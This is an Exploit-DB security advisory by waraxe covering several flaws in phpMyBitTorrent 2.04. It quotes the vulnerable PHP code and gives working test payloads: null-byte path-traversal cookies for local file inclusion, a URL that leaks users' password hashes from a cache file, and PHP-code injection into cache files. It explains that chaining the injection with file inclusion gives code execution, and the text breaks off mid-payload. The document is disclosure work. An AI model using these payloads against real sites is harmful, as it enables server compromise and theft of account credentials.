Exploit-DB #21743
Description: phpMyBitTorrent 2.04 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-04
Author: waraxe

Exploit:
[waraxe-2012-SA#091] - Multiple Vulnerabilities in phpMyBitTorrent 2.04
===============================================================================

Author: Janek Vind "waraxe"
Date: 01. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-91.html


Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpMyBitTorrent is the brand new Open Source solution for BitTorrent
communities! phpMyBitTorrent is all written in PHP, uses the popular MySQL
database and support every BitTorrent protocol extension. 

https://www.phpmybittorrent.com/

http://sourceforge.net/projects/phpmybittorrent/


###############################################################################
1. Local File Inclusion in "include/config.php"
###############################################################################

Reasons: insufficient sanitization of user-supplied data
Attack vectors:
 1. user-supplied cookie parameters "bttheme" and "btlanguage"
 2. user-supplied parameter "theme_change"
Preconditions:
 1. magic_quotes_gpc=off
 2. PHP must be < 5.3.4 for null-byte attacks to work


PHP script "include/config.php" line 56:
------------------------[ source code start ]----------------------------------
if (!isset($_COOKIE["bttheme"])) $bttheme = "";
if (!isset($_COOKIE["btlanguage"])) $btlanguage = "";
...
if (isset($btlanguage) AND is_readable("language/".$btlanguage.".php")) 
  $language = $btlanguage;
if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php"))
  $theme = $bttheme;
...
if (file_exists("./language/".$language.".php"))
        require_once("./language/".$language.".php");
...
if (file_exists("./themes/".$theme."/main.php")) {
        require_once("./themes/".$theme."/main.php");
------------------------[ source code end ]------------------------------------

Test cookies:

bttheme=../avatars/user/waraxe.jpg%00z;
btlanguage=../avatars/user/waraxe.jpg%00z;


PHP script "include/config.php" line 199:
------------------------[ source code start ]----------------------------------
if (isset($theme_change)){
  $bttheme = $theme_change;
...
if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php")) $theme =
   $bttheme;
...
if (file_exists("./themes/".$theme."/main.php")) {
        require_once("./themes/".$theme."/main.php");
------------------------[ source code end ]------------------------------------

Test:

http://pmbt//?theme_change=../avatars/user/waraxe.jpg%00z


###############################################################################
2. Insecure cache file handling in "blocks/newestmember_block.php"
###############################################################################

Reasons:
 1. unrestricted direct access to the cache file
 2. uninitialized variable "$newestmemberrecords"
Attack vector: user-supplied parameter "newestmemberrecords"
Preconditions: none
Result:
 1. last 5 registered users credentials leakage
 2. attacker is able to inject php code to the cache file

 
PHP script "blocks/newestmember_block.php" line 35:
------------------------[ source code start ]----------------------------------
$file = "cache/cache_newestmemberblock.txt";
$expire = 60; // time in seconds
if (file_exists($file) &&
    filemtime($file) > (time() - $expire)) {
    $newestmemberrecords = unserialize(file_get_contents($file));
}else{ 
    $newestmemberquery = $db->sql_query("SELECT * FROM ".$db_prefix."_users 
       WHERE active = 1 AND ban ='0' ORDER BY id DESC LIMIT 5");
    
    while ($newestmemberrecord = $db->sql_fetchrow($newestmemberquery) ) {
        $newestmemberrecords[] = $newestmemberrecord;
    }
    $OUTPUT = serialize($newestmemberrecords);
    $fp = fopen($file,"w");
    fputs($fp, $OUTPUT);
    fclose($fp);
------------------------[ source code end ]------------------------------------

Test:

http://pmbt/cache/cache_newestmemberblock.txt

Result:
-------------------------[ result start ]--------------------------------------
a:1:{i:0;a:116:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:6:"waraxe";
...
s:8:"password";s:32:"[PII_REDACTED][PII_REDACTED]456789abcde";
-------------------------[ result end ]----------------------------------------

As result, anyone can obtain usernames and hashed passwords of last 5 registered
users and then try to crack md5 hashes or forge session cookies, resulting in
account overtaking. Additionally it is possible to inject arbitrary data to the
cache file, including php code:

http://pmbt/?newestmemberrecords[][username]=war<?php+phpinfo();?>axe

After that let's look at cache file:

http://pmbt/cache/cache_newestmemberblock.txt

Result:
-------------------------[ result start ]--------------------------------------
a:2:{i:0;a:1:{s:8:"username";s:24:"war<?php phpinfo();?>axe";}
-------------------------[ result end ]----------------------------------------

Attacker can combine php code injection to cache file with Local File Inclusion
vulnerabilities and obtain PHP-level access to remote system.


###############################################################################
3. Insecure cache file handling in "staff.php"
###############################################################################

Reason: uninitialized variable "$staff_table"
Attack vector: user-supplied parameter "staff_table"
Preconditions: none
Result: attacker is able to inject php code to the cache file

 
PHP script "staff.php" line 38:
------------------------[ source code start ]----------------------------------
$cache_file = "cache/staff.txt";
...
$staff_table[ $arr['level'] ] = $staff_table[ $arr['level'] ]
...
$fp = fopen($cache_file, 'w');
fwrite($fp, serialize($staff_table));
fclose($fp);
------------------------[ source code end ]------------------------------------

Test:

http://pmbt/staff.php?staff_table[]=<